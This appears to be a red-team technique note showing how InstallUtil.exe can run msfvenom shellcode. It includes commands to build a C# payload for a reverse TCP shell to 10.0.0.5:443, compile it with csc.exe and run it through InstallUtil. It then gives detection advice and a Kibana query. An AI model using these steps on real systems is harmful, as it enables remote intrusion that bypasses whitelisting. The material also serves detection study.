Execution

First of, let's generate a C# payload (with InstallUtil script) that contains shellcode from msfvenom and upload the temp.cs file to victim's machine:

[email protected]
python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost 10.0.0.5 --lport 443

Compile the .cs to an .exe:

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PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs

Execute the payload:

[email protected]
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
Copyright (C) Microsoft Corporation.  All rights reserved.
​
Hello From Uninstall...I carry out the real work...

Enjoy the sweet reverse shell:

Observations

Look for InstallUtil processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:

A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:

kibana
event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe

What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.

References